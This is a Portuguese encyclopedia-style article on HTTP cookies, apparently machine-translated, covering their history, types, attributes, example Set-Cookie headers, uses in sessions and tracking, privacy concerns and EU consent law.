Cookie HTTP - HTTP cookie

Cookies HTTP (também chamados cookies de web , cookies da Internet , cookies do navegador , ou simplesmente biscoitos ) são pequenos blocos de dados criados por um servidor web , enquanto um usuário está navegando um site e colocados no computador do usuário ou outro dispositivo pelo usuário do navegador web . Os cookies são colocados no dispositivo usado para acessar um site e mais de um cookie pode ser colocado no dispositivo de um usuário durante uma sessão.

Os cookies têm funções úteis e às vezes essenciais na web . Eles permitem que os servidores da web armazenem informações com estado (como itens adicionados ao carrinho de compras em uma loja online ) no dispositivo do usuário ou rastreiem a atividade de navegação do usuário (incluindo clicar em botões específicos, fazer login ou registrar quais páginas foram visitadas no passado ). Eles também podem ser usados ​​para salvar para uso subsequente informações que o usuário inseriu anteriormente nos campos do formulário , como nomes, endereços, senhas e números de cartão de pagamento .

Os cookies de autenticação são comumente usados ​​por servidores da web para autenticar que um usuário está conectado e com qual conta ele está conectado. Sem o cookie, os usuários precisam se autenticar fazendo login em cada página que contém informações confidenciais que desejam acessar . A segurança de um cookie de autenticação geralmente depende da segurança do site de emissão e do navegador do usuário , e se os dados do cookie estão criptografados . As vulnerabilidades de segurança podem permitir que os dados de um cookie sejam lidos por um invasor , usados ​​para obter acesso aos dados do usuário ou para obter acesso (com as credenciais do usuário) ao site ao qual o cookie pertence (consulte cross-site scripting e cross- falsificação de solicitação de site para exemplos).

Cookies de rastreamento , e especialmente cookies de rastreamento de terceiros , são comumente usados ​​como formas de compilar registros de longo prazo de históricos de navegação de indivíduos - uma preocupação potencial de privacidade que levou legisladores europeus e norte-americanos a agir em 2011. A legislação europeia exige que todos os sites visando os estados membros da União Europeia obtêm " consentimento informado " dos usuários antes de armazenar cookies não essenciais em seus dispositivos.

Fundo

Os cookies HTTP compartilham seu nome com uma guloseima assada popular.

Origem do nome

O termo "cookie" foi cunhado pelo programador de navegador Lou Montulli . Ele foi derivado do termo " cookie mágico ", que é um pacote de dados que um programa recebe e envia de volta inalterado, usado por programadores Unix .

História

Os cookies mágicos já eram usados ​​na computação quando o programador de computador Lou Montulli teve a ideia de usá-los nas comunicações pela web em junho de 1994. Na época, ele era funcionário da Netscape Communications , que estava desenvolvendo um aplicativo de comércio eletrônico para a MCI . Vint Cerf e John Klensin representaram a MCI em discussões técnicas com a Netscape Communications. A MCI não queria que seus servidores retivessem estados parciais de transação, o que os levou a pedir à Netscape que encontrasse uma maneira de armazenar esse estado no computador de cada usuário. Os cookies forneceram uma solução para o problema de implementação confiável de um carrinho de compras virtual .

Junto com John Giannandrea, Montulli escreveu a especificação inicial do cookie do Netscape no mesmo ano. A versão 0.9beta do Mosaic Netscape , lançada em 13 de outubro de 1994, suportava cookies. O primeiro uso de cookies (fora dos laboratórios) foi verificar se os visitantes do site da Netscape já haviam visitado o site. Montulli solicitou uma patente para a tecnologia de cookies em 1995 e o US 5774670  foi concedido em 1998. O suporte para cookies foi integrado ao Internet Explorer na versão 2, lançada em outubro de 1995.

A introdução de cookies não era amplamente conhecida do público na época. Em particular, os cookies eram aceitos por padrão e os usuários não eram notificados de sua presença. O público ficou sabendo sobre cookies depois que o Financial Times publicou um artigo sobre eles em 12 de fevereiro de 1996. No mesmo ano, os cookies receberam muita atenção da mídia, especialmente por causa de potenciais implicações de privacidade. Os cookies foram discutidos em duas audiências da Comissão Federal de Comércio dos Estados Unidos em 1996 e 1997.

O desenvolvimento das especificações formais dos cookies já estava em andamento. Em particular, as primeiras discussões sobre uma especificação formal começaram em abril de 1995 na lista de discussão www-talk . Um grupo de trabalho especial dentro da Internet Engineering Task Force (IETF) foi formado. Duas propostas alternativas para a introdução de estado em transações HTTP foram propostas por Brian Behlendorf e David Kristol, respectivamente. Mas o grupo, liderado pelo próprio Kristol e Lou Montulli, logo decidiu usar a especificação do Netscape como ponto de partida. Em fevereiro de 1996, o grupo de trabalho identificou cookies de terceiros como uma ameaça considerável à privacidade. A especificação produzida pelo grupo foi publicada como RFC 2109 em fevereiro de 1997. Ela especifica que os cookies de terceiros não eram permitidos ou, pelo menos, não eram ativados por padrão.

Nessa época, as empresas de publicidade já usavam cookies de terceiros. A recomendação sobre cookies de terceiros do RFC 2109 não foi seguida pelo Netscape e pelo Internet Explorer. O RFC 2109 foi substituído pelo RFC 2965 em outubro de 2000.

O RFC 2965 adicionou um Set-Cookie2 campo de cabeçalho , que informalmente passou a ser chamado de "cookies no estilo RFC 2965", em oposição ao Set-Cookiecampo de cabeçalho original , que era chamado de "cookies no estilo Netscape". Set-Cookie2foi raramente usado, no entanto, foi descontinuado no RFC 6265 em abril de 2011, que foi escrito como uma especificação definitiva para cookies usados ​​no mundo real. Nenhum navegador moderno reconhece o Set-Cookie2campo de cabeçalho.

Terminologia

Cookie de sessão

Um cookie de sessão (também conhecido como cookie in-memory , cookie transitório ou cookie não persistente ) existe apenas na memória temporária enquanto o usuário navega em um site. Os cookies de sessão expiram ou são excluídos quando o usuário fecha o navegador da web. Os cookies de sessão são identificados pelo navegador pela ausência de uma data de expiração atribuída a eles.

Cookie persistente

Um cookie persistente expira em uma data específica ou após um determinado período de tempo. Para o tempo de vida do cookie persistente definido por seu criador, suas informações serão transmitidas ao servidor sempre que o usuário visitar o site a que pertence, ou sempre que o usuário visualizar um recurso pertencente a esse site de outro site (como um anúncio )

Por esse motivo, os cookies persistentes às vezes são chamados de cookies de rastreamento, porque podem ser usados ​​por anunciantes para registrar informações sobre os hábitos de navegação de um usuário durante um longo período de tempo. No entanto, eles também são usados ​​por motivos "legítimos" (como manter os usuários logados em suas contas em sites, para evitar inserir novamente as credenciais de login a cada visita).

Cookie seguro

Um cookie seguro só pode ser transmitido por uma conexão criptografada (ou seja, HTTPS ). Eles não podem ser transmitidos por conexões não criptografadas (ou seja, HTTP ). Isso diminui a probabilidade de o cookie ser exposto a roubo de cookies por meio de espionagem. Um cookie torna-se seguro adicionando a Securebandeira ao cookie.

Cookie somente HTTP

Um cookie apenas http não pode ser acessado por APIs do lado do cliente, como JavaScript . Essa restrição elimina a ameaça de roubo de cookies por meio de scripts entre sites (XSS). No entanto, o cookie permanece vulnerável a ataques de rastreamento entre sites (XST) e falsificação de solicitação entre sites (CSRF). Um cookie recebe essa característica adicionando o HttpOnlysinalizador ao cookie.

Cookie do mesmo site

Em 2016, o Google Chrome versão 51 introduziu um novo tipo de cookie com atributo SameSite. O atributo SameSitepode ter um valor de Strict, Laxou None. Com o atributo SameSite=Strict, os navegadores só enviariam cookies para um domínio de destino que é o mesmo que o domínio de origem. Isso atenuaria efetivamente os ataques de falsificação de solicitação entre sites (CSRF). Com o SameSite=Lax, os navegadores enviariam cookies com solicitações para um domínio de destino, mesmo que fosse diferente do domínio de origem, mas apenas para solicitações seguras , como GET (POST não é seguro) e não cookies de terceiros (dentro do iframe). O atributo SameSite=Nonepermitiria cookies de terceiros (site cruzado), no entanto, a maioria dos navegadores exige o atributo seguro em cookies SameSite = None.

O cookie do mesmo site é incorporado a um novo rascunho de RFC para "Cookies: mecanismo de gerenciamento de estado HTTP" para atualizar o RFC 6265 (se aprovado).

Chrome, Firefox, Microsoft Edge começaram a oferecer suporte a cookies do mesmo site. A chave da implementação é o tratamento dos cookies existentes sem o atributo SameSite definido. O Chrome tem tratado os cookies existentes como se SameSite = None, isso manteria todos os sites / aplicativos executados como antes. O Google pretendia mudar esse padrão para SameSite = Lax em fevereiro de 2020, a mudança quebraria os aplicativos / sites que dependem de cookies de terceiros / sites cruzados, mas sem o atributo SameSite definido. Dadas as grandes mudanças para os desenvolvedores da web e as circunstâncias do COVID-19 , o Google reverteu temporariamente a alteração do cookie SameSite.

Cookie de terceiros

Normalmente, o atributo de domínio de um cookie corresponderá ao domínio mostrado na barra de endereço do navegador da web. Isso é chamado de cookie primário . Um cookie de terceiros , no entanto, pertence a um domínio diferente daquele mostrado na barra de endereço. Esse tipo de cookie normalmente aparece quando as páginas da web apresentam conteúdo de sites externos, como anúncios em banner . Isso abre o potencial para rastrear o histórico de navegação do usuário e é frequentemente usado por anunciantes em um esforço para servir anúncios relevantes para cada usuário.

Por exemplo, suponha que um usuário visite www.example.org. Este site contém um anúncio de ad.foxytracking.com, que, ao ser baixado, define um cookie pertencente ao domínio do anúncio ( ad.foxytracking.com). Em seguida, o usuário visita outro site,, www.foo.comque também contém um anúncio ad.foxytracking.come define um cookie pertencente a esse domínio ( ad.foxytracking.com). Eventualmente, ambos os cookies serão enviados ao anunciante ao carregar seus anúncios ou ao visitar seu site. O anunciante pode então usar esses cookies para construir um histórico de navegação do usuário em todos os sites que possuem anúncios desse anunciante, por meio do uso do campo de cabeçalho do referenciador HTTP .

Em 2014, alguns sites configuravam cookies legíveis para mais de 100 domínios de terceiros. Em média, um único site estava configurando 10 cookies, com um número máximo de cookies (primários e de terceiros) chegando a mais de 800.

A maioria dos navegadores modernos contém configurações de privacidade que podem bloquear cookies de terceiros, e alguns agora bloqueiam todos os cookies de terceiros por padrão - em julho de 2020, esses navegadores incluem Apple Safari , Firefox e Brave . O Safari permite que sites incorporados usem a API de acesso ao armazenamento para solicitar permissão para definir cookies primários. Em maio de 2020, o Google Chrome introduziu novos recursos para bloquear cookies de terceiros por padrão em seu modo Incognito para navegação privada, tornando o bloqueio opcional durante a navegação normal. A mesma atualização também adicionou uma opção para bloquear cookies primários. O Chrome planeja começar a bloquear cookies de terceiros por padrão em 2023.

Supercookie

Um supercookie é um cookie com origem em um domínio de nível superior (como .com) ou um sufixo público (como .co.uk). Os cookies comuns, por outro lado, têm origem em um nome de domínio específico, como example.com.

Supercookies podem ser uma preocupação potencial de segurança e, portanto, são frequentemente bloqueados por navegadores da web. Se desbloqueado pelo navegador, um invasor no controle de um site malicioso pode definir um supercookie e potencialmente interromper ou personificar solicitações legítimas do usuário para outro site que compartilhe o mesmo domínio de nível superior ou sufixo público do site malicioso. Por exemplo, um supercookie com origem em .com, pode afetar de forma mal-intencionada uma solicitação feita para example.com, mesmo que o cookie não seja originado de example.com. Isso pode ser usado para logins falsos ou alterar as informações do usuário.

A lista de sufixos públicos ajuda a mitigar o risco que os supercookies representam. A Lista Pública de Sufixos é uma iniciativa de vários fornecedores que visa fornecer uma lista precisa e atualizada de sufixos de nomes de domínio. Versões mais antigas de navegadores podem não ter uma lista atualizada e, portanto, estarão vulneráveis ​​a supercookies de certos domínios.

Outros usos

O termo "supercookie" às ​​vezes é usado para rastrear tecnologias que não dependem de cookies HTTP. Dois desses mecanismos "supercookie" foram encontrados nos sites da Microsoft em agosto de 2011: sincronização de cookies que reaparecem cookies MUID (identificador exclusivo da máquina) e cookies ETag . Devido à atenção da mídia, a Microsoft posteriormente desativou este código. Em uma postagem de 2021 no blog, a Mozilla usou o termo "supercookie" para se referir ao uso do cache do navegador (veja abaixo) como meio de rastrear usuários em sites.

Biscoito zumbi

Um cookie zumbi são dados e códigos que foram colocados por um servidor da web no computador de um visitante ou outro dispositivo em um local escondido fora do local de armazenamento de cookies dedicado do navegador da web do visitante , e que recria automaticamente um cookie HTTP como um cookie regular após o cookie original foi excluído. O cookie zumbi pode ser armazenado em vários locais, como objeto compartilhado Flash Local , armazenamento da Web HTML5 e outros locais do lado do cliente e até mesmo do lado do servidor, e quando a ausência do cookie é detectada, o cookie é recriado usando os dados armazenados em esses locais.

Parede de biscoito

Uma parede de cookies aparece em um site e informa o usuário sobre o uso de cookies do site. Não tem opção de rejeição e o site não é acessível sem cookies de rastreamento.

Estrutura

Um cookie consiste nos seguintes componentes:

  1. Nome
  2. Valor
  3. Zero ou mais atributos ( pares nome / valor ). Os atributos armazenam informações como a expiração do cookie, domínio e sinalizadores (como Securee HttpOnly).

Usos

Gerenciamento de sessão

Os cookies foram introduzidos originalmente para fornecer aos usuários uma maneira de registrar os itens que desejam comprar à medida que navegam em um site (um "carrinho de compras" ou "carrinho de compras" virtual). Hoje, porém, o conteúdo do carrinho de compras de um usuário geralmente é armazenado em um banco de dados no servidor, em vez de em um cookie no cliente. Para controlar qual usuário é atribuído a qual carrinho de compras, o servidor envia um cookie ao cliente que contém um identificador de sessão exclusivo (normalmente, uma longa sequência de letras e números aleatórios). Como os cookies são enviados ao servidor com cada solicitação que o cliente faz, esse identificador de sessão será enviado de volta ao servidor sempre que o usuário visitar uma nova página no site, o que permite ao servidor saber qual carrinho de compras exibir para o usuário.

Outro uso popular de cookies é para fazer login em sites. Quando o usuário visita a página de login de um site, o servidor da web normalmente envia ao cliente um cookie contendo um identificador de sessão exclusivo. Quando o usuário efetua login com êxito, o servidor lembra que aquele identificador de sessão específico foi autenticado e concede ao usuário acesso aos seus serviços.

Como os cookies de sessão contêm apenas um identificador de sessão exclusivo, isso torna a quantidade de informações pessoais que um site pode salvar sobre cada usuário virtualmente ilimitada - o site não se limita a restrições relacionadas ao tamanho do cookie. Os cookies de sessão também ajudam a melhorar os tempos de carregamento da página, uma vez que a quantidade de informações em um cookie de sessão é pequena e requer pouca largura de banda.

Personalização

Os cookies podem ser usados ​​para lembrar informações sobre o usuário, a fim de mostrar conteúdo relevante para aquele usuário ao longo do tempo. Por exemplo, um servidor da web pode enviar um cookie contendo o nome de usuário que foi usado pela última vez para fazer login em um site, para que possa ser preenchido automaticamente na próxima vez que o usuário fizer login.

Muitos sites usam cookies para personalização com base nas preferências do usuário. Os usuários selecionam suas preferências inserindo-as em um formulário da web e enviando o formulário ao servidor. O servidor codifica as preferências em um cookie e o envia de volta ao navegador. Dessa forma, sempre que o usuário acessa uma página do site, o servidor pode personalizar a página de acordo com as preferências do usuário. Por exemplo, o mecanismo de pesquisa do Google costumava usar cookies para permitir que os usuários (mesmo os não registrados) decidissem quantos resultados de pesquisa por página queriam ver. Além disso, DuckDuckGo usa cookies para permitir que os usuários definam as preferências de visualização, como as cores da página da web.

Monitorando

Cookies de rastreamento são usados ​​para rastrear os hábitos de navegação dos usuários na web. Isso também pode ser feito até certo ponto, usando o endereço IP do computador que está solicitando a página ou o campo referer do cabeçalho da solicitação HTTP , mas os cookies permitem uma maior precisão. Isso pode ser demonstrado da seguinte forma:

  1. Se o usuário solicita uma página do site, mas a solicitação não contém cookie, o servidor presume que esta é a primeira página visitada pelo usuário. Assim, o servidor cria um identificador único (normalmente uma string de letras e números aleatórios) e o envia como um cookie de volta para o navegador junto com a página solicitada.
  2. A partir deste momento, o cookie será automaticamente enviado pelo navegador ao servidor sempre que for solicitada uma nova página do site. O servidor não apenas envia a página normalmente, mas também armazena a URL da página solicitada, a data / hora da solicitação e o cookie em um arquivo de log.

Ao analisar esse arquivo de log, é possível descobrir quais páginas o usuário visitou, em que seqüência e por quanto tempo.

As empresas exploram os hábitos dos usuários na web rastreando cookies para coletar informações sobre os hábitos de compra. O Wall Street Journal descobriu que os cinquenta maiores sites da América instalaram uma média de sessenta e quatro peças de tecnologia de rastreamento em computadores, resultando em um total de 3.180 arquivos de rastreamento. Os dados podem então ser coletados e vendidos para empresas licitantes.

Implementação

Uma possível interação entre um navegador da web e um servidor da web que contém uma página da web na qual o servidor envia um cookie para o navegador e o navegador o envia de volta ao solicitar outra página.

Cookies são dados arbitrários, geralmente escolhidos e enviados primeiro pelo servidor da web e armazenados no computador cliente pelo navegador da web. O navegador então os envia de volta ao servidor com cada solicitação, introduzindo estados (memória de eventos anteriores) em transações HTTP sem estado . Sem cookies, cada recuperação de uma página da web ou componente de uma página da web seria um evento isolado, em grande parte não relacionado a todas as outras visualizações de página feitas pelo usuário no site. Embora os cookies sejam geralmente definidos pelo servidor da web, eles também podem ser definidos pelo cliente usando uma linguagem de script, como JavaScript (a menos que o HttpOnlysinalizador do cookie seja definido, caso em que o cookie não pode ser modificado por linguagens de script).

As especificações de cookies exigem que os navegadores atendam aos seguintes requisitos para oferecer suporte a cookies:

  • Pode suportar cookies de até 4.096 bytes .
  • Pode suportar pelo menos 50 cookies por domínio (ou seja, por site).
  • Pode suportar pelo menos 3.000 cookies no total.

Configurando um cookie

Os cookies são definidos usando o Set-Cookie campo de cabeçalho , enviado em uma resposta HTTP do servidor da web. Este campo de cabeçalho instrui o navegador da web a armazenar o cookie e enviá-lo de volta em solicitações futuras ao servidor (o navegador irá ignorar este campo de cabeçalho se não suportar cookies ou os tiver desativado).

Por exemplo, o navegador envia sua primeira solicitação HTTP para a página inicial do www.example.orgsite:

GET /index.html HTTP/1.1
Host: www.example.org
...

O servidor responde com dois Set-Cookiecampos de cabeçalho:

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: theme=light
Set-Cookie: sessionToken=abc123; Expires=Wed, 09 Jun 2021 10:18:14 GMT
...

A resposta HTTP do servidor contém o conteúdo da página inicial do site. Mas também instrui o navegador a definir dois cookies. O primeiro, "tema", é considerado um cookie de sessão, pois não possui um atributo Expiresou Max-Age. Os cookies de sessão devem ser excluídos pelo navegador quando ele é fechado. O segundo, "sessionToken", é considerado um cookie persistente, pois contém um Expiresatributo que instrui o navegador a excluir o cookie em uma data e hora específicas.

Em seguida, o navegador envia outra solicitação para visitar a spec.htmlpágina do site. Esta solicitação contém um Cookiecampo de cabeçalho, que contém os dois cookies que o servidor instruiu o navegador a definir:

GET /spec.html HTTP/1.1
Host: www.example.org
Cookie: theme=light; sessionToken=abc123

Desta forma, o servidor sabe que esta solicitação HTTP está relacionada à anterior. O servidor responderia enviando a página solicitada, possivelmente incluindo mais Set-Cookiecampos de cabeçalho na resposta HTTP para instruir o navegador a adicionar novos cookies, modificar os cookies existentes ou remover os cookies existentes. Para remover um cookie, o servidor deve incluir um Set-Cookiecampo de cabeçalho com uma data de validade no passado.

O valor de um cookie pode consistir em qualquer impressão ASCII de caracteres ( !através ~, Unicode \u0021 através \u007E) excluindo ,e ;e espaço em branco caracteres . O nome de um cookie exclui os mesmos caracteres, bem como =, uma vez que é o delimitador entre o nome e o valor. O cookie padrão RFC 2965 é mais restritivo, mas não implementado pelos navegadores.

O termo "migalha de cookie" às ​​vezes é usado para se referir ao par nome-valor de um cookie.

Os cookies também podem ser definidos por linguagens de script, como JavaScript, que são executadas no navegador. Em JavaScript, o objeto document.cookieé usado para essa finalidade. Por exemplo, a instrução document.cookie = "temperature=20"cria um cookie de nome "temperatura" e valor "20".

Atributos de cookies

Além de um nome e valor, os cookies também podem ter um ou mais atributos. Os navegadores não incluem atributos de cookies em solicitações ao servidor - eles enviam apenas o nome e o valor do cookie. Os atributos dos cookies são usados ​​pelos navegadores para determinar quando excluir um cookie, bloquear um cookie ou enviar um cookie para o servidor.

Domínio e Caminho

Os atributos Domaine Pathdefinem o escopo do cookie. Essencialmente, eles informam ao navegador a qual site o cookie pertence. Por motivos de segurança, os cookies só podem ser definidos no domínio superior do recurso atual e seus subdomínios, e não para outro domínio e seus subdomínios. Por exemplo, o site example.orgnão pode definir um cookie com domínio de, foo.compois isso permitiria ao site example.orgcontrolar os cookies do domínio foo.com.

Se um cookie Domaine os Pathatributos não forem especificados pelo servidor, eles assumem como padrão o domínio e o caminho do recurso solicitado. No entanto, na maioria dos navegadores, há uma diferença entre um cookie definido foo.comsem um domínio e um cookie definido com o foo.comdomínio. No primeiro caso, o cookie será enviado apenas para solicitações de foo.com, também conhecido como cookie somente de host. No último caso, todos os subdomínios também são incluídos (por exemplo, docs.foo.com). Uma exceção notável a esta regra geral é o Edge anterior ao Windows 10 RS3 e o Internet Explorer anterior ao IE 11 e Windows 10 RS4 (abril de 2018), que sempre envia cookies para subdomínios, independentemente de o cookie ter sido definido com ou sem um domínio.

Abaixo está um exemplo de alguns Set-Cookiecampos de cabeçalho na resposta HTTP de um site depois que um usuário fez login. A solicitação HTTP foi enviada a uma página da web dentro do docs.foo.comsubdomínio:

HTTP/1.0 200 OK
Set-Cookie: LSID=DQAAAK…Eaem_vYg; Path=/accounts; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly
Set-Cookie: HSID=AYQEVn…DKrdst; Domain=.foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; HttpOnly
Set-Cookie: SSID=Ap4P…GTEq; Domain=foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly

O primeiro cookie,, LSIDnão tem nenhum Domainatributo e tem um Pathatributo definido como /accounts. Isso diz ao navegador para usar o cookie apenas ao solicitar páginas contidas em docs.foo.com/accounts(o domínio é derivado do domínio de solicitação). Os outros dois cookies, HSIDe SSID, seriam usados ​​quando o navegador solicitar qualquer subdomínio em .foo.comqualquer caminho (por exemplo www.foo.com/bar). O ponto anterior é opcional em padrões recentes, mas pode ser adicionado para compatibilidade com implementações baseadas em RFC 2109.

Expira e Max-Age

O Expiresatributo define uma data e hora específicas para quando o navegador deve excluir o cookie. A data e a hora são especificadas no formato Wdy, DD Mon YYYY HH:MM:SS GMTou no formato Wdy, DD Mon YY HH:MM:SS GMTpara valores de YY, em que YY é maior ou igual a 0 e menor ou igual a 69.

Alternativamente, o Max-Ageatributo pode ser usado para definir a expiração do cookie como um intervalo de segundos no futuro, em relação à hora em que o navegador recebeu o cookie. Abaixo está um exemplo de três Set-Cookiecampos de cabeçalho que foram recebidos de um site depois que um usuário fez login:

HTTP/1.0 200 OK
Set-Cookie: lu=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Jan 2013 21:47:38 GMT; Path=/; Domain=.example.com; HttpOnly
Set-Cookie: made_write_conn=1295214458; Path=/; Domain=.example.com
Set-Cookie: reg_fb_gate=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; Domain=.example.com; HttpOnly

O primeiro cookie,, luestá definido para expirar em 15 de janeiro de 2013. Ele será usado pelo navegador do cliente até essa data. O segundo cookie made_write_conn,, não tem uma data de validade, o que o torna um cookie de sessão. Ele será excluído depois que o usuário fechar o navegador. O terceiro cookie,, reg_fb_gatetem seu valor alterado para "excluído", com um tempo de validade no passado. O navegador excluirá este cookie imediatamente porque seu tempo de expiração já passou. Observe que o cookie só será excluído se os atributos de domínio e caminho no Set-Cookiecampo corresponderem aos valores usados ​​quando o cookie foi criado.

Em 2016, o Internet Explorer não era compatível Max-Age.

Seguro e HttpOnly

Os atributos Securee HttpOnlynão possuem valores associados. Em vez disso, a presença apenas de seus nomes de atributos indica que seus comportamentos devem ser ativados.

O Secureatributo destina-se a manter a comunicação de cookies limitada à transmissão criptografada, direcionando os navegadores a usar cookies apenas por meio de conexões seguras / criptografadas . No entanto, se um servidor da web definir um cookie com um atributo seguro de uma conexão não segura, o cookie ainda poderá ser interceptado quando for enviado ao usuário por ataques man-in-the-middle . Portanto, para segurança máxima, os cookies com o atributo Seguro só devem ser definidos em uma conexão segura.

O HttpOnlyatributo instrui os navegadores a não expor cookies por meio de canais diferentes de solicitações HTTP (e HTTPS). Isso significa que o cookie não pode ser acessado por meio de linguagens de script do lado do cliente (principalmente JavaScript ) e, portanto, não pode ser roubado facilmente por meio de script entre sites (uma técnica de ataque difundida).

Configurações do navegador

A maioria dos navegadores modernos oferece suporte a cookies e permite que o usuário os desative. A seguir estão as opções comuns:

  • Habilitar ou desabilitar completamente os cookies, para que sejam sempre aceitos ou sempre bloqueados.
  • Para visualizar e excluir cookies seletivamente usando um gerenciador de cookies.
  • Para limpar totalmente todos os dados privados, incluindo cookies.

Também existem ferramentas adicionais para gerenciar permissões de cookies.

Privacidade e cookies de terceiros

Os cookies têm algumas implicações importantes para a privacidade e o anonimato dos usuários da web. Enquanto os cookies são enviados apenas para o servidor que os configura ou para um servidor no mesmo domínio da Internet, uma página da web pode conter imagens ou outros componentes armazenados em servidores em outros domínios. Os cookies definidos durante a recuperação desses componentes são chamados de cookies de terceiros . Os padrões mais antigos para cookies, RFC 2109 e RFC 2965, especificam que os navegadores devem proteger a privacidade do usuário e não permitir o compartilhamento de cookies entre servidores por padrão. No entanto, o padrão mais recente, RFC 6265, permite explicitamente que os agentes do usuário implementem qualquer política de cookies de terceiros que desejarem. A maioria dos navegadores, como Mozilla Firefox , Internet Explorer , Opera e Google Chrome , permite cookies de terceiros por padrão, desde que o site de terceiros tenha a Política de Privacidade Compacta publicada. As versões mais recentes do Safari bloqueiam cookies de terceiros, e isso também está planejado para o Mozilla Firefox (inicialmente planejado para a versão 22, mas adiado indefinidamente).

Neste exemplo fictício, uma empresa de publicidade colocou banners em dois sites. Ao hospedar as imagens do banner em seus servidores e usar cookies de terceiros, a empresa de publicidade é capaz de rastrear a navegação dos usuários nesses dois sites.

As empresas de publicidade usam cookies de terceiros para rastrear um usuário em vários sites. Em particular, uma empresa de publicidade pode rastrear um usuário em todas as páginas onde ele colocou imagens de publicidade ou bugs da web . O conhecimento das páginas visitadas por um usuário permite que a empresa de publicidade direcione os anúncios às preferências presumidas do usuário.

Os operadores de sites que não divulgam o uso de cookies de terceiros aos consumidores correm o risco de prejudicar a confiança do consumidor se o uso de cookies for descoberto. Ter uma divulgação clara (como em uma política de privacidade ) tende a eliminar quaisquer efeitos negativos dessa descoberta de cookies.

A possibilidade de construir um perfil de usuários é uma ameaça à privacidade, especialmente quando o rastreamento é feito em vários domínios usando cookies de terceiros. Por esse motivo, alguns países possuem legislação sobre cookies.

O governo dos Estados Unidos estabeleceu regras estritas sobre a configuração de cookies em 2000, depois que foi divulgado que o escritório de políticas de drogas da Casa Branca usava cookies para rastrear usuários de computador que visualizavam sua publicidade antidrogas online. Em 2002, o ativista de privacidade Daniel Brandt descobriu que a CIA deixava cookies persistentes em computadores que visitavam seu site. Quando notificada de que estava violando a política, a CIA afirmou que esses cookies não foram definidos intencionalmente e parou de defini-los. Em 25 de dezembro de 2005, Brandt descobriu que a National Security Agency (NSA) estava deixando dois cookies persistentes nos computadores dos visitantes devido a uma atualização de software. Após ser informada, a NSA desabilitou imediatamente os cookies.

Diretiva de cookies da UE

Em 2002, a União Europeia lançou a Diretiva sobre Privacidade e Comunicações Eletrônicas ( Diretiva de Privacidade Eletrônica ), uma política que exige o consentimento dos usuários finais para a colocação de cookies e tecnologias semelhantes para armazenar e acessar informações nos equipamentos dos usuários. Em particular, o Artigo 5, parágrafo 3, determina que o armazenamento de dados tecnicamente desnecessários no computador de um usuário só pode ser feito se o usuário receber informações sobre como esses dados são usados ​​e se o usuário tiver a possibilidade de negar essa operação de armazenamento. A Diretiva não exige que os usuários autorizem ou recebam avisos sobre o uso de cookies que são funcionalmente necessários para a entrega de um serviço solicitado, por exemplo, para manter as configurações, armazenar sessões de login ou lembrar o que está na cesta de compras de um usuário.

Em 2009, a lei foi alterada pela Diretiva 2009/136 / CE, que incluiu uma alteração ao Artigo 5, Parágrafo 3. Em vez de oferecer aos usuários a opção de cancelar o armazenamento de cookies, a Diretiva revisada exige a obtenção de consentimento para os cookies armazenar. A definição de consentimento é cruzada com a definição da legislação europeia de proteção de dados, primeiro a Diretiva de Proteção de Dados de 1995 e, posteriormente, o Regulamento Geral de Proteção de Dados (GDPR). Como a definição de consentimento foi reforçada no texto do RGPD, isso teve o efeito de aumentar a qualidade do consentimento exigido por aqueles que armazenam e acessam informações como cookies nos dispositivos dos usuários. Em um caso decidido ao abrigo da Diretiva de Proteção de Dados, no entanto, o Tribunal de Justiça da União Europeia confirmou posteriormente que a lei anterior implicava a mesma qualidade forte de consentimento que o instrumento atual. Além da exigência de consentimento que decorre do armazenamento ou acesso a informações no dispositivo de terminal de um usuário, as informações em muitos cookies serão consideradas dados pessoais apenas no GDPR e exigirão uma base legal para serem processadas. Tem sido esse o caso desde a Diretiva de Proteção de Dados de 1995, que utilizou uma definição idêntica de dados pessoais, embora o GDPR no Considerando 30 interpretativo esclareça que os identificadores de cookies estão incluídos. Embora nem todo processamento de dados sob o GDPR exija consentimento, as características da publicidade comportamental significam que é difícil ou impossível justificar sob qualquer outro fundamento.

O consentimento sob a combinação do GDPR e da Diretiva de privacidade eletrônica deve atender a uma série de condições em relação aos cookies. Deve ser dado livremente e sem ambigüidade: as caixas pré-marcadas foram proibidas tanto pela Diretiva de Proteção de Dados de 1995 quanto pelo RGPD (Considerando 32). O GDPR especifica que o consentimento deve ser tão 'fácil de retirar quanto de dar', o que significa que um botão rejeitar tudo deve ser tão fácil de acessar em termos de cliques e visibilidade quanto um botão 'aceitar tudo'. Deve ser específico e informado, o que significa que o consentimento se refere a propósitos específicos para o uso desses dados, e todas as organizações que buscam usar esse consentimento devem ser especificamente nomeadas. O Tribunal de Justiça da União Europeia também decidiu que o consentimento deve ser “eficiente e atempado”, o que significa que deve ser obtido antes de os cookies serem colocados e o processamento de dados começar, em vez de depois.

A resposta da indústria foi amplamente negativa. Robert Bond, do escritório de advocacia Speechly Bircham, descreve os efeitos como "de longo alcance e incrivelmente onerosos" para "todas as empresas do Reino Unido". Simon Davis, da Privacy International, argumenta que a aplicação adequada "destruiria toda a indústria". No entanto, os estudiosos observam que a natureza onerosa dos pop-ups de cookies decorre de uma tentativa de continuar a operar um modelo de negócios por meio de solicitações complicadas que podem ser incompatíveis com o GDPR.

Os estudos acadêmicos e os reguladores descrevem o não cumprimento generalizado da lei. Um estudo analisando 10.000 sites do Reino Unido descobriu que apenas 11,8% dos sites aderiram aos requisitos legais mínimos, com apenas 33,4% dos sites estudados fornecendo um mecanismo para rejeitar cookies que era tão fácil de usar quanto aceitá-los. Um estudo de 17.000 sites descobriu que 84% dos sites violaram esse critério, descobrindo, além disso, que muitos colocaram cookies de terceiros sem aviso prévio. O regulador do Reino Unido, o Information Commissioner's Office , declarou em 2019 que a 'Estrutura de Transparência e Consentimento' do grupo de tecnologia de publicidade do Interactive Advertising Bureau era 'insuficiente para garantir a transparência e o processamento justo dos dados pessoais em questão e, portanto, também insuficiente para fornecer consentimento livre e informado, com implicações para a conformidade com o PECR [e-Privacy]. ' Muitas empresas que vendem soluções de conformidade (plataformas de gerenciamento de consentimento) permitem que elas sejam configuradas de maneiras manifestamente ilegais, o que os estudiosos observaram que cria questões em torno da alocação apropriada de responsabilidade.

